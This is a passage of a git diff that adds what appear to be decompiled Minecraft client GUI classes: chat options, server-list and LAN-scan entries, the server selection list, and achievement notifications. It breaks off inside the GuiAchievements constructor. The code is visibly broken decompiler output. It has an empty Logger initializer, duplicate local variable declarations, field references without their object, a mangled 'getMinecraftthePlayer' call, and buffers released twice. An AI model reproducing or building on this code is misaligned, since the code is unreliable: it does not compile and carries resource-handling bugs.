+    while ((scaleFactor < var5) && (scaledWidth / (scaleFactor + 1) >= 320) && (scaledHeight / (scaleFactor + 1) >= 240))
+    {
+      scaleFactor += 1;
+    }
+    
+    if ((var4) && (scaleFactor % 2 != 0) && (scaleFactor != 1))
+    {
+      scaleFactor -= 1;
+    }
+    
+    scaledWidthD = (scaledWidth / scaleFactor);
+    scaledHeightD = (scaledHeight / scaleFactor);
+    scaledWidth = MathHelper.ceiling_double_int(scaledWidthD);
+    scaledHeight = MathHelper.ceiling_double_int(scaledHeightD);
+  }
+  
+  public int getScaledWidth()
+  {
+    return scaledWidth;
+  }
+  
+  public int getScaledHeight()
+  {
+    return scaledHeight;
+  }
+  
+  public double getScaledWidth_double()
+  {
+    return scaledWidthD;
+  }
+  
+  public double getScaledHeight_double()
+  {
+    return scaledHeightD;
+  }
+  
+  public int getScaleFactor()
+  {
+    return scaleFactor;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/ScreenChatOptions.java b/src/minecraft/net/minecraft/client/gui/ScreenChatOptions.java
new file mode 100644
index 0000000..a39dd8b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/ScreenChatOptions.java
@@ -0,0 +1,87 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class ScreenChatOptions extends GuiScreen
+{
+  private static final GameSettings.Options[] field_146399_a = { GameSettings.Options.CHAT_VISIBILITY, GameSettings.Options.CHAT_COLOR, GameSettings.Options.CHAT_LINKS, GameSettings.Options.CHAT_OPACITY, GameSettings.Options.CHAT_LINKS_PROMPT, GameSettings.Options.CHAT_SCALE, GameSettings.Options.CHAT_HEIGHT_FOCUSED, GameSettings.Options.CHAT_HEIGHT_UNFOCUSED, GameSettings.Options.CHAT_WIDTH, GameSettings.Options.REDUCED_DEBUG_INFO };
+  private final GuiScreen field_146396_g;
+  private final GameSettings game_settings;
+  private String field_146401_i;
+  private String field_146398_r;
+  private int field_146397_s;
+  private static final String __OBFID = "CL_00000681";
+  
+  public ScreenChatOptions(GuiScreen p_i1023_1_, GameSettings p_i1023_2_)
+  {
+    field_146396_g = p_i1023_1_;
+    game_settings = p_i1023_2_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    int var1 = 0;
+    field_146401_i = I18n.format("options.chat.title", new Object[0]);
+    field_146398_r = I18n.format("options.multiplayer.title", new Object[0]);
+    GameSettings.Options[] var2 = field_146399_a;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      GameSettings.Options var5 = var2[var4];
+      
+      if (var5.getEnumFloat())
+      {
+        buttonList.add(new GuiOptionSlider(var5.returnEnumOrdinal(), width / 2 - 155 + var1 % 2 * 160, height / 6 + 24 * (var1 >> 1), var5));
+      }
+      else
+      {
+        buttonList.add(new GuiOptionButton(var5.returnEnumOrdinal(), width / 2 - 155 + var1 % 2 * 160, height / 6 + 24 * (var1 >> 1), var5, game_settings.getKeyBinding(var5)));
+      }
+      
+      var1++;
+    }
+    
+    if (var1 % 2 == 1)
+    {
+      var1++;
+    }
+    
+    field_146397_s = (height / 6 + 24 * (var1 >> 1));
+    buttonList.add(new GuiButton(200, width / 2 - 100, height / 6 + 120, I18n.format("gui.done", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (enabled)
+    {
+      if ((id < 100) && ((button instanceof GuiOptionButton)))
+      {
+        game_settings.setOptionValue(((GuiOptionButton)button).returnEnumOptions(), 1);
+        displayString = game_settings.getKeyBinding(GameSettings.Options.getEnumOptions(id));
+      }
+      
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(field_146396_g);
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, field_146401_i, width / 2, 20, 16777215);
+    drawCenteredString(fontRendererObj, field_146398_r, width / 2, field_146397_s + 7, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/ServerListEntryLanDetected.java b/src/minecraft/net/minecraft/client/gui/ServerListEntryLanDetected.java
new file mode 100644
index 0000000..dea97f8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/ServerListEntryLanDetected.java
@@ -0,0 +1,64 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.network.LanServerDetector.LanServer;
+import net.minecraft.client.resources.I18n;
+
+public class ServerListEntryLanDetected implements GuiListExtended.IGuiListEntry
+{
+  private final GuiMultiplayer field_148292_c;
+  protected final Minecraft field_148293_a;
+  protected final LanServerDetector.LanServer field_148291_b;
+  private long field_148290_d = 0L;
+  private static final String __OBFID = "CL_00000816";
+  
+  protected ServerListEntryLanDetected(GuiMultiplayer p_i45046_1_, LanServerDetector.LanServer p_i45046_2_)
+  {
+    field_148292_c = p_i45046_1_;
+    field_148291_b = p_i45046_2_;
+    field_148293_a = Minecraft.getMinecraft();
+  }
+  
+  public void drawEntry(int slotIndex, int x, int y, int listWidth, int slotHeight, int mouseX, int mouseY, boolean isSelected)
+  {
+    field_148293_a.fontRendererObj.drawString(I18n.format("lanServer.title", new Object[0]), x + 32 + 3, y + 1, 16777215);
+    field_148293_a.fontRendererObj.drawString(field_148291_b.getServerMotd(), x + 32 + 3, y + 12, 8421504);
+    
+    if (field_148293_a.gameSettings.hideServerAddress)
+    {
+      field_148293_a.fontRendererObj.drawString(I18n.format("selectServer.hiddenAddress", new Object[0]), x + 32 + 3, y + 12 + 11, 3158064);
+    }
+    else
+    {
+      field_148293_a.fontRendererObj.drawString(field_148291_b.getServerIpPort(), x + 32 + 3, y + 12 + 11, 3158064);
+    }
+  }
+  
+
+
+
+  public boolean mousePressed(int p_148278_1_, int p_148278_2_, int p_148278_3_, int p_148278_4_, int p_148278_5_, int p_148278_6_)
+  {
+    field_148292_c.selectServer(p_148278_1_);
+    
+    if (Minecraft.getSystemTime() - field_148290_d < 250L)
+    {
+      field_148292_c.connectToSelected();
+    }
+    
+    field_148290_d = Minecraft.getSystemTime();
+    return false;
+  }
+  
+
+  public void setSelected(int p_178011_1_, int p_178011_2_, int p_178011_3_) {}
+  
+
+  public void mouseReleased(int slotIndex, int x, int y, int mouseEvent, int relativeX, int relativeY) {}
+  
+
+  public LanServerDetector.LanServer getLanServer()
+  {
+    return field_148291_b;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/ServerListEntryLanScan.java b/src/minecraft/net/minecraft/client/gui/ServerListEntryLanScan.java
new file mode 100644
index 0000000..8c808cf
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/ServerListEntryLanScan.java
@@ -0,0 +1,47 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+
+public class ServerListEntryLanScan implements GuiListExtended.IGuiListEntry
+{
+  private final Minecraft field_148288_a = Minecraft.getMinecraft();
+  private static final String __OBFID = "CL_00000815";
+  
+  public ServerListEntryLanScan() {}
+  
+  public void drawEntry(int slotIndex, int x, int y, int listWidth, int slotHeight, int mouseX, int mouseY, boolean isSelected) { int var9 = y + slotHeight / 2 - field_148288_a.fontRendererObj.FONT_HEIGHT / 2;
+    field_148288_a.fontRendererObj.drawString(I18n.format("lanServer.scanning", new Object[0]), field_148288_a.currentScreen.width / 2 - field_148288_a.fontRendererObj.getStringWidth(I18n.format("lanServer.scanning", new Object[0])) / 2, var9, 16777215);
+    String var10;
+    String var10;
+    String var10; switch ((int)(Minecraft.getSystemTime() / 300L % 4L))
+    {
+    case 0: 
+    default: 
+      var10 = "O o o";
+      break;
+    
+    case 1: 
+    case 3: 
+      var10 = "o O o";
+      break;
+    
+    case 2: 
+      var10 = "o o O";
+    }
+    
+    field_148288_a.fontRendererObj.drawString(var10, field_148288_a.currentScreen.width / 2 - field_148288_a.fontRendererObj.getStringWidth(var10) / 2, var9 + field_148288_a.fontRendererObj.FONT_HEIGHT, 8421504);
+  }
+  
+
+
+  public void setSelected(int p_178011_1_, int p_178011_2_, int p_178011_3_) {}
+  
+
+  public boolean mousePressed(int p_148278_1_, int p_148278_2_, int p_148278_3_, int p_148278_4_, int p_148278_5_, int p_148278_6_)
+  {
+    return false;
+  }
+  
+  public void mouseReleased(int slotIndex, int x, int y, int mouseEvent, int relativeX, int relativeY) {}
+}
diff --git a/src/minecraft/net/minecraft/client/gui/ServerListEntryNormal.java b/src/minecraft/net/minecraft/client/gui/ServerListEntryNormal.java
new file mode 100644
index 0000000..6f12cf2
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/ServerListEntryNormal.java
@@ -0,0 +1,356 @@
+package net.minecraft.client.gui;
+
+import com.google.common.util.concurrent.ThreadFactoryBuilder;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufInputStream;
+import io.netty.buffer.Unpooled;
+import java.awt.image.BufferedImage;
+import java.net.UnknownHostException;
+import java.util.List;
+import java.util.concurrent.ThreadPoolExecutor;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.ServerData;
+import net.minecraft.client.multiplayer.ServerList;
+import net.minecraft.client.network.OldServerPinger;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.lang3.Validate;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ServerListEntryNormal implements GuiListExtended.IGuiListEntry
+{
+  private static final Logger logger = ;
+  private static final ThreadPoolExecutor field_148302_b = new java.util.concurrent.ScheduledThreadPoolExecutor(5, new ThreadFactoryBuilder().setNameFormat("Server Pinger #%d").setDaemon(true).build());
+  private static final ResourceLocation field_178015_c = new ResourceLocation("textures/misc/unknown_server.png");
+  private static final ResourceLocation field_178014_d = new ResourceLocation("textures/gui/server_selection.png");
+  private final GuiMultiplayer field_148303_c;
+  private final Minecraft field_148300_d;
+  private final ServerData field_148301_e;
+  private final ResourceLocation field_148306_i;
+  private String field_148299_g;
+  private DynamicTexture field_148305_h;
+  private long field_148298_f;
+  private static final String __OBFID = "CL_00000817";
+  
+  protected ServerListEntryNormal(GuiMultiplayer p_i45048_1_, ServerData p_i45048_2_)
+  {
+    field_148303_c = p_i45048_1_;
+    field_148301_e = p_i45048_2_;
+    field_148300_d = Minecraft.getMinecraft();
+    field_148306_i = new ResourceLocation("servers/" + serverIP + "/icon");
+    field_148305_h = ((DynamicTexture)field_148300_d.getTextureManager().getTexture(field_148306_i));
+  }
+  
+  public void drawEntry(int slotIndex, int x, int y, int listWidth, int slotHeight, int mouseX, int mouseY, boolean isSelected)
+  {
+    if (!field_148301_e.field_78841_f)
+    {
+      field_148301_e.field_78841_f = true;
+      field_148301_e.pingToServer = -2L;
+      field_148301_e.serverMOTD = "";
+      field_148301_e.populationInfo = "";
+      field_148302_b.submit(new Runnable()
+      {
+        private static final String __OBFID = "CL_00000818";
+        
+        public void run()
+        {
+          try {
+            field_148303_c.getOldServerPinger().ping(field_148301_e);
+          }
+          catch (UnknownHostException var2)
+          {
+            field_148301_e.pingToServer = -1L;
+            field_148301_e.serverMOTD = (EnumChatFormatting.DARK_RED + "Can't resolve hostname");
+          }
+          catch (Exception var3)
+          {
+            field_148301_e.pingToServer = -1L;
+            field_148301_e.serverMOTD = (EnumChatFormatting.DARK_RED + "Can't connect to server.");
+          }
+        }
+      });
+    }
+    
+    boolean var9 = field_148301_e.version > 47;
+    boolean var10 = field_148301_e.version < 47;
+    boolean var11 = (var9) || (var10);
+    field_148300_d.fontRendererObj.drawString(field_148301_e.serverName, x + 32 + 3, y + 1, 16777215);
+    List var12 = field_148300_d.fontRendererObj.listFormattedStringToWidth(field_148301_e.serverMOTD, listWidth - 32 - 2);
+    
+    for (int var13 = 0; var13 < Math.min(var12.size(), 2); var13++)
+    {
+      field_148300_d.fontRendererObj.drawString((String)var12.get(var13), x + 32 + 3, y + 12 + field_148300_d.fontRendererObj.FONT_HEIGHT * var13, 8421504);
+    }
+    
+    String var23 = var11 ? EnumChatFormatting.DARK_RED + field_148301_e.gameVersion : field_148301_e.populationInfo;
+    int var14 = field_148300_d.fontRendererObj.getStringWidth(var23);
+    field_148300_d.fontRendererObj.drawString(var23, x + listWidth - var14 - 15 - 2, y + 1, 8421504);
+    byte var15 = 0;
+    String var17 = null;
+    
+    int var16;
+    String var18;
+    if (var11)
+    {
+      int var16 = 5;
+      String var18 = var9 ? "Client out of date!" : "Server out of date!";
+      var17 = field_148301_e.playerList;
+    }
+    else if ((field_148301_e.field_78841_f) && (field_148301_e.pingToServer != -2L)) { int var16;
+      int var16;
+      if (field_148301_e.pingToServer < 0L)
+      {
+        var16 = 5;
+      } else { int var16;
+        if (field_148301_e.pingToServer < 150L)
+        {
+          var16 = 0;
+        } else { int var16;
+          if (field_148301_e.pingToServer < 300L)
+          {
+            var16 = 1;
+          } else { int var16;
+            if (field_148301_e.pingToServer < 600L)
+            {
+              var16 = 2;
+            } else { int var16;
+              if (field_148301_e.pingToServer < 1000L)
+              {
+                var16 = 3;
+              }
+              else
+              {
+                var16 = 4; }
+            } } } }
+      String var18;
+      if (field_148301_e.pingToServer < 0L)
+      {
+        var18 = "(no connection)";
+      }
+      else
+      {
+        String var18 = field_148301_e.pingToServer + "ms";
+        var17 = field_148301_e.playerList;
+      }
+    }
+    else
+    {
+      var15 = 1;
+      var16 = (int)(Minecraft.getSystemTime() / 100L + slotIndex * 2 & 0x7);
+      
+      if (var16 > 4)
+      {
+        var16 = 8 - var16;
+      }
+      
+      var18 = "Pinging...";
+    }
+    
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    field_148300_d.getTextureManager().bindTexture(Gui.icons);
+    Gui.drawModalRectWithCustomSizedTexture(x + listWidth - 15, y, var15 * 10, 176 + var16 * 8, 10, 8, 256.0F, 256.0F);
+    
+    if ((field_148301_e.getBase64EncodedIconData() != null) && (!field_148301_e.getBase64EncodedIconData().equals(field_148299_g)))
+    {
+      field_148299_g = field_148301_e.getBase64EncodedIconData();
+      prepareServerIcon();
+      field_148303_c.getServerList().saveServerList();
+    }
+    
+    if (field_148305_h != null)
+    {
+      func_178012_a(x, y, field_148306_i);
+    }
+    else
+    {
+      func_178012_a(x, y, field_178015_c);
+    }
+    
+    int var19 = mouseX - x;
+    int var20 = mouseY - y;
+    
+    if ((var19 >= listWidth - 15) && (var19 <= listWidth - 5) && (var20 >= 0) && (var20 <= 8))
+    {
+      field_148303_c.func_146793_a(var18);
+    }
+    else if ((var19 >= listWidth - var14 - 15 - 2) && (var19 <= listWidth - 15 - 2) && (var20 >= 0) && (var20 <= 8))
+    {
+      field_148303_c.func_146793_a(var17);
+    }
+    
+    if ((field_148300_d.gameSettings.touchscreen) || (isSelected))
+    {
+      field_148300_d.getTextureManager().bindTexture(field_178014_d);
+      Gui.drawRect(x, y, x + 32, y + 32, -1601138544);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      int var21 = mouseX - x;
+      int var22 = mouseY - y;
+      
+      if (func_178013_b())
+      {
+        if ((var21 < 32) && (var21 > 16))
+        {
+          Gui.drawModalRectWithCustomSizedTexture(x, y, 0.0F, 32.0F, 32, 32, 256.0F, 256.0F);
+        }
+        else
+        {
+          Gui.drawModalRectWithCustomSizedTexture(x, y, 0.0F, 0.0F, 32, 32, 256.0F, 256.0F);
+        }
+      }
+      
+      if (field_148303_c.func_175392_a(this, slotIndex))
+      {
+        if ((var21 < 16) && (var22 < 16))
+        {
+          Gui.drawModalRectWithCustomSizedTexture(x, y, 96.0F, 32.0F, 32, 32, 256.0F, 256.0F);
+        }
+        else
+        {
+          Gui.drawModalRectWithCustomSizedTexture(x, y, 96.0F, 0.0F, 32, 32, 256.0F, 256.0F);
+        }
+      }
+      
+      if (field_148303_c.func_175394_b(this, slotIndex))
+      {
+        if ((var21 < 16) && (var22 > 16))
+        {
+          Gui.drawModalRectWithCustomSizedTexture(x, y, 64.0F, 32.0F, 32, 32, 256.0F, 256.0F);
+        }
+        else
+        {
+          Gui.drawModalRectWithCustomSizedTexture(x, y, 64.0F, 0.0F, 32, 32, 256.0F, 256.0F);
+        }
+      }
+    }
+  }
+  
+  protected void func_178012_a(int p_178012_1_, int p_178012_2_, ResourceLocation p_178012_3_)
+  {
+    field_148300_d.getTextureManager().bindTexture(p_178012_3_);
+    GlStateManager.enableBlend();
+    Gui.drawModalRectWithCustomSizedTexture(p_178012_1_, p_178012_2_, 0.0F, 0.0F, 32, 32, 32.0F, 32.0F);
+    GlStateManager.disableBlend();
+  }
+  
+  private boolean func_178013_b()
+  {
+    return true;
+  }
+  
+  private void prepareServerIcon()
+  {
+    if (field_148301_e.getBase64EncodedIconData() == null)
+    {
+      field_148300_d.getTextureManager().deleteTexture(field_148306_i);
+      field_148305_h = null;
+    }
+    else
+    {
+      ByteBuf var2 = Unpooled.copiedBuffer(field_148301_e.getBase64EncodedIconData(), com.google.common.base.Charsets.UTF_8);
+      ByteBuf var3 = io.netty.handler.codec.base64.Base64.decode(var2);
+      
+      BufferedImage var1;
+      
+      try
+      {
+        BufferedImage var1 = net.minecraft.client.renderer.texture.TextureUtil.func_177053_a(new ByteBufInputStream(var3));
+        Validate.validState(var1.getWidth() == 64, "Must be 64 pixels wide", new Object[0]);
+        Validate.validState(var1.getHeight() == 64, "Must be 64 pixels high", new Object[0]);
+        
+
+
+
+
+
+
+
+
+        var2.release();
+        var3.release();
+      }
+      catch (Exception var8)
+      {
+        logger.error("Invalid icon for server " + field_148301_e.serverName + " (" + field_148301_e.serverIP + ")", var8);
+        field_148301_e.setBase64EncodedIconData(null);
+        
+
+
+        var2.release();
+        var3.release();
+      }
+      finally
+      {
+        var2.release();
+        var3.release();
+      }
+      
+
+
+
+
+
+      field_148305_h = new DynamicTexture(var1.getWidth(), var1.getHeight());
+      field_148300_d.getTextureManager().loadTexture(field_148306_i, field_148305_h);
+      
+
+      var1.getRGB(0, 0, var1.getWidth(), var1.getHeight(), field_148305_h.getTextureData(), 0, var1.getWidth());
+      field_148305_h.updateDynamicTexture();
+    }
+  }
+  
+
+
+
+  public boolean mousePressed(int p_148278_1_, int p_148278_2_, int p_148278_3_, int p_148278_4_, int p_148278_5_, int p_148278_6_)
+  {
+    if (p_148278_5_ <= 32)
+    {
+      if ((p_148278_5_ < 32) && (p_148278_5_ > 16) && (func_178013_b()))
+      {
+        field_148303_c.selectServer(p_148278_1_);
+        field_148303_c.connectToSelected();
+        return true;
+      }
+      
+      if ((p_148278_5_ < 16) && (p_148278_6_ < 16) && (field_148303_c.func_175392_a(this, p_148278_1_)))
+      {
+        field_148303_c.func_175391_a(this, p_148278_1_, GuiScreen.isShiftKeyDown());
+        return true;
+      }
+      
+      if ((p_148278_5_ < 16) && (p_148278_6_ > 16) && (field_148303_c.func_175394_b(this, p_148278_1_)))
+      {
+        field_148303_c.func_175393_b(this, p_148278_1_, GuiScreen.isShiftKeyDown());
+        return true;
+      }
+    }
+    
+    field_148303_c.selectServer(p_148278_1_);
+    
+    if (Minecraft.getSystemTime() - field_148298_f < 250L)
+    {
+      field_148303_c.connectToSelected();
+    }
+    
+    field_148298_f = Minecraft.getSystemTime();
+    return false;
+  }
+  
+
+  public void setSelected(int p_178011_1_, int p_178011_2_, int p_178011_3_) {}
+  
+
+  public void mouseReleased(int slotIndex, int x, int y, int mouseEvent, int relativeX, int relativeY) {}
+  
+
+  public ServerData getServerData()
+  {
+    return field_148301_e;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/ServerSelectionList.java b/src/minecraft/net/minecraft/client/gui/ServerSelectionList.java
new file mode 100644
index 0000000..dc8ddfa
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/ServerSelectionList.java
@@ -0,0 +1,107 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.ServerList;
+import net.minecraft.client.network.LanServerDetector.LanServer;
+
+public class ServerSelectionList extends GuiListExtended
+{
+  private final GuiMultiplayer owner;
+  private final List field_148198_l = Lists.newArrayList();
+  private final List field_148199_m = Lists.newArrayList();
+  private final GuiListExtended.IGuiListEntry lanScanEntry = new ServerListEntryLanScan();
+  private int field_148197_o = -1;
+  private static final String __OBFID = "CL_00000819";
+  
+  public ServerSelectionList(GuiMultiplayer p_i45049_1_, Minecraft mcIn, int p_i45049_3_, int p_i45049_4_, int p_i45049_5_, int p_i45049_6_, int p_i45049_7_)
+  {
+    super(mcIn, p_i45049_3_, p_i45049_4_, p_i45049_5_, p_i45049_6_, p_i45049_7_);
+    owner = p_i45049_1_;
+  }
+  
+
+
+
+  public GuiListExtended.IGuiListEntry getListEntry(int p_148180_1_)
+  {
+    if (p_148180_1_ < field_148198_l.size())
+    {
+      return (GuiListExtended.IGuiListEntry)field_148198_l.get(p_148180_1_);
+    }
+    
+
+    p_148180_1_ -= field_148198_l.size();
+    
+    if (p_148180_1_ == 0)
+    {
+      return lanScanEntry;
+    }
+    
+
+    p_148180_1_--;
+    return (GuiListExtended.IGuiListEntry)field_148199_m.get(p_148180_1_);
+  }
+  
+
+
+  protected int getSize()
+  {
+    return field_148198_l.size() + 1 + field_148199_m.size();
+  }
+  
+  public void func_148192_c(int p_148192_1_)
+  {
+    field_148197_o = p_148192_1_;
+  }
+  
+
+
+
+  protected boolean isSelected(int slotIndex)
+  {
+    return slotIndex == field_148197_o;
+  }
+  
+  public int func_148193_k()
+  {
+    return field_148197_o;
+  }
+  
+  public void func_148195_a(ServerList p_148195_1_)
+  {
+    field_148198_l.clear();
+    
+    for (int var2 = 0; var2 < p_148195_1_.countServers(); var2++)
+    {
+      field_148198_l.add(new ServerListEntryNormal(owner, p_148195_1_.getServerData(var2)));
+    }
+  }
+  
+  public void func_148194_a(List p_148194_1_)
+  {
+    field_148199_m.clear();
+    Iterator var2 = p_148194_1_.iterator();
+    
+    while (var2.hasNext())
+    {
+      LanServerDetector.LanServer var3 = (LanServerDetector.LanServer)var2.next();
+      field_148199_m.add(new ServerListEntryLanDetected(owner, var3));
+    }
+  }
+  
+  protected int getScrollBarX()
+  {
+    return super.getScrollBarX() + 30;
+  }
+  
+
+
+
+  public int getListWidth()
+  {
+    return super.getListWidth() + 85;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/achievement/GuiAchievement.java b/src/minecraft/net/minecraft/client/gui/achievement/GuiAchievement.java
new file mode 100644
index 0000000..1b3f35a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/achievement/GuiAchievement.java
@@ -0,0 +1,146 @@
+package net.minecraft.client.gui.achievement;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.ScaledResolution;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.stats.Achievement;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+
+public class GuiAchievement extends net.minecraft.client.gui.Gui
+{
+  private static final ResourceLocation achievementBg = new ResourceLocation("textures/gui/achievement/achievement_background.png");
+  private Minecraft mc;
+  private int width;
+  private int height;
+  private String achievementTitle;
+  private String achievementDescription;
+  private Achievement theAchievement;
+  private long notificationTime;
+  private RenderItem renderItem;
+  private boolean permanentNotification;
+  private static final String __OBFID = "CL_00000721";
+  
+  public GuiAchievement(Minecraft mc)
+  {
+    this.mc = mc;
+    renderItem = mc.getRenderItem();
+  }
+  
+  public void displayAchievement(Achievement p_146256_1_)
+  {
+    achievementTitle = net.minecraft.client.resources.I18n.format("achievement.get", new Object[0]);
+    achievementDescription = p_146256_1_.getStatName().getUnformattedText();
+    notificationTime = Minecraft.getSystemTime();
+    theAchievement = p_146256_1_;
+    permanentNotification = false;
+  }
+  
+  public void displayUnformattedAchievement(Achievement p_146255_1_)
+  {
+    achievementTitle = p_146255_1_.getStatName().getUnformattedText();
+    achievementDescription = p_146255_1_.getDescription();
+    notificationTime = (Minecraft.getSystemTime() + 2500L);
+    theAchievement = p_146255_1_;
+    permanentNotification = true;
+  }
+  
+  private void updateAchievementWindowScale()
+  {
+    GlStateManager.viewport(0, 0, mc.displayWidth, mc.displayHeight);
+    GlStateManager.matrixMode(5889);
+    GlStateManager.loadIdentity();
+    GlStateManager.matrixMode(5888);
+    GlStateManager.loadIdentity();
+    width = mc.displayWidth;
+    height = mc.displayHeight;
+    ScaledResolution var1 = new ScaledResolution(mc);
+    width = var1.getScaledWidth();
+    height = var1.getScaledHeight();
+    GlStateManager.clear(256);
+    GlStateManager.matrixMode(5889);
+    GlStateManager.loadIdentity();
+    GlStateManager.ortho(0.0D, width, height, 0.0D, 1000.0D, 3000.0D);
+    GlStateManager.matrixMode(5888);
+    GlStateManager.loadIdentity();
+    GlStateManager.translate(0.0F, 0.0F, -2000.0F);
+  }
+  
+  public void updateAchievementWindow()
+  {
+    if ((theAchievement != null) && (notificationTime != 0L) && (getMinecraftthePlayer != null))
+    {
+      double var1 = (Minecraft.getSystemTime() - notificationTime) / 3000.0D;
+      
+      if (!permanentNotification)
+      {
+        if ((var1 < 0.0D) || (var1 > 1.0D))
+        {
+          notificationTime = 0L;
+        }
+        
+      }
+      else if (var1 > 0.5D)
+      {
+        var1 = 0.5D;
+      }
+      
+      updateAchievementWindowScale();
+      GlStateManager.disableDepth();
+      GlStateManager.depthMask(false);
+      double var3 = var1 * 2.0D;
+      
+      if (var3 > 1.0D)
+      {
+        var3 = 2.0D - var3;
+      }
+      
+      var3 *= 4.0D;
+      var3 = 1.0D - var3;
+      
+      if (var3 < 0.0D)
+      {
+        var3 = 0.0D;
+      }
+      
+      var3 *= var3;
+      var3 *= var3;
+      int var5 = width - 160;
+      int var6 = 0 - (int)(var3 * 36.0D);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.func_179098_w();
+      mc.getTextureManager().bindTexture(achievementBg);
+      GlStateManager.disableLighting();
+      drawTexturedModalRect(var5, var6, 96, 202, 160, 32);
+      
+      if (permanentNotification)
+      {
+        mc.fontRendererObj.drawSplitString(achievementDescription, var5 + 30, var6 + 7, 120, -1);
+      }
+      else
+      {
+        mc.fontRendererObj.drawString(achievementTitle, var5 + 30, var6 + 7, 65280);
+        mc.fontRendererObj.drawString(achievementDescription, var5 + 30, var6 + 18, -1);
+      }
+      
+      RenderHelper.enableGUIStandardItemLighting();
+      GlStateManager.disableLighting();
+      GlStateManager.enableRescaleNormal();
+      GlStateManager.enableColorMaterial();
+      GlStateManager.enableLighting();
+      renderItem.func_180450_b(theAchievement.theItemStack, var5 + 8, var6 + 8);
+      GlStateManager.disableLighting();
+      GlStateManager.depthMask(true);
+      GlStateManager.enableDepth();
+    }
+  }
+  
+  public void clearAchievements()
+  {
+    theAchievement = null;
+    notificationTime = 0L;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/achievement/GuiAchievements.java b/src/minecraft/net/minecraft/client/gui/achievement/GuiAchievements.java
new file mode 100644
index 0000000..4266a42
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/achievement/GuiAchievements.java
@@ -0,0 +1,583 @@
+package net.minecraft.client.gui.achievement;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.init.Blocks;
+import net.minecraft.stats.Achievement;
+import net.minecraft.stats.AchievementList;
+import net.minecraft.stats.StatFileWriter;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import org.lwjgl.input.Mouse;
+
+public class GuiAchievements extends GuiScreen implements net.minecraft.client.gui.IProgressMeter
+{
+  private static final int field_146572_y = AchievementList.minDisplayColumn * 24 - 112;
+  private static final int field_146571_z = AchievementList.minDisplayRow * 24 - 112;
+  private static final int field_146559_A = AchievementList.maxDisplayColumn * 24 - 77;
+  private static final int field_146560_B = AchievementList.maxDisplayRow * 24 - 77;
+  private static final ResourceLocation field_146561_C = new ResourceLocation("textures/gui/achievement/achievement_background.png");
+  protected GuiScreen parentScreen;
+  protected int field_146555_f = 256;
+  protected int field_146557_g = 202;
+  protected int field_146563_h;
+  protected int field_146564_i;
+  protected float field_146570_r = 1.0F;
+  protected double field_146569_s;
+  protected double field_146568_t;
+  protected double field_146567_u;
+  protected double field_146566_v;
+  protected double field_146565_w;
+  protected double field_146573_x;
+  private int field_146554_D;
+  private StatFileWriter statFileWriter;
+  private boolean loadingAchievements = true;
+  private static final String __OBFID = "CL_00000722";
+  
+  public GuiAchievements(GuiScreen p_i45026_1_, StatFileWriter p_i45026_2_)
+  {
+    parentScreen = p_i45026_1_;
+    statFileWriter = p_i45026_2_;
+    short var3 = 141;
+    short var4 = 141;
